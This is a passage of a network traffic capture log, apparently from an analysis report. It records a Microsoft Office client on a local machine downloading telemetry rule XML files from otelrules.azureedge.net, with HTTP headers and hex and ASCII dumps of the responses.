2024-11-21 13:27:10 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:09 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: e7fe902a-801e-0067-6164-3bfe30000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132709Z-178bfbc474btrnf9hC1NYCb80g00000001mg00000000ksv0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:10 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.5	49881	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:10 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:10 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:10 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132710Z-1777c6cb7549x5qchC1TEBggbg0000000b4g00000000g34p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:10 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.5	49880	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:10 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:10 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:10 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: 4cc9e962-201e-000c-4eac-3b79c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132710Z-r1d97b995777mdbwhC1TEBezag0000000a9000000000khya x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:10 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.5	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:10 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:10 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:10 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: 5a6b30d1-101e-00a2-7c5b-3b9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132710Z-178bfbc474b9xljthC1NYCtw9400000001fg000000006sa5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:10 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.5	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:11 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:12 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:12 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 4b825c62-901e-008f-3f5c-3b67a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132712Z-178bfbc474bxkclvhC1NYC69g400000001g0000000008huq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:12 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.5	49884	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:12 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:12 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:12 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 2620e4ad-c01e-008d-6675-3b2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132712Z-1777c6cb754xjpthhC1TEBexs80000000b30000000001qwz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:12 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.5	49885	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:12 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:12 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:12 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 3044792c-001e-005a-088c-3ac3d0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132712Z-1777c6cb7549j9hhhC1TEBzmcc0000000b3g0000000066rr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:12 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.5	49878	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:12 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:12 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:12 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: fce879e9-f01e-0052-0d66-3b9224000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132712Z-178bfbc474bwlrhlhC1NYCy3kg00000001f000000000g9u4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:12 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.5	49886	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:12 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:13 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:12 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 44ceed99-901e-0064-727b-3be8a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132712Z-178bfbc474bh5zbqhC1NYCkdug00000001h0000000003vr7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:13 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.5	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:13 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:14 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:14 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 2155ac17-401e-00a3-238c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132714Z-178bfbc474btvfdfhC1NYCa2en00000001hg00000000gymp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:14 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenS

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.5	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:14 UTC	192	OUT	GET /rules/rule701500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:14 UTC	494	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:14 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB6AD293" x-ms-request-id: c7391ddf-401e-0064-3568-3b54af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132714Z-1777c6cb7544n7p6hC1TEByvb40000000bc00000000020nx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-21 13:27:14 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 35 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 63 75 72 69 74 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 63 75 72 69 74 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701500" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Security" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSecurity" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.5	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-21 13:27:14 UTC	192	OUT	GET /rules/rule702801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-21 13:27:15 UTC	515	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 13:27:14 GMT Content-Type: text/xml Content-Length: 1391 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF58DC7E" x-ms-request-id: c0af4880-401e-00ac-328c-3a0a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241121T132714Z-1777c6cb754xjpthhC1TEBexs80000000b0000000000a41c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-21 13:27:15 UTC	1391	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 44 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 44 58 22 20 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702801" V="1" DC="SM" 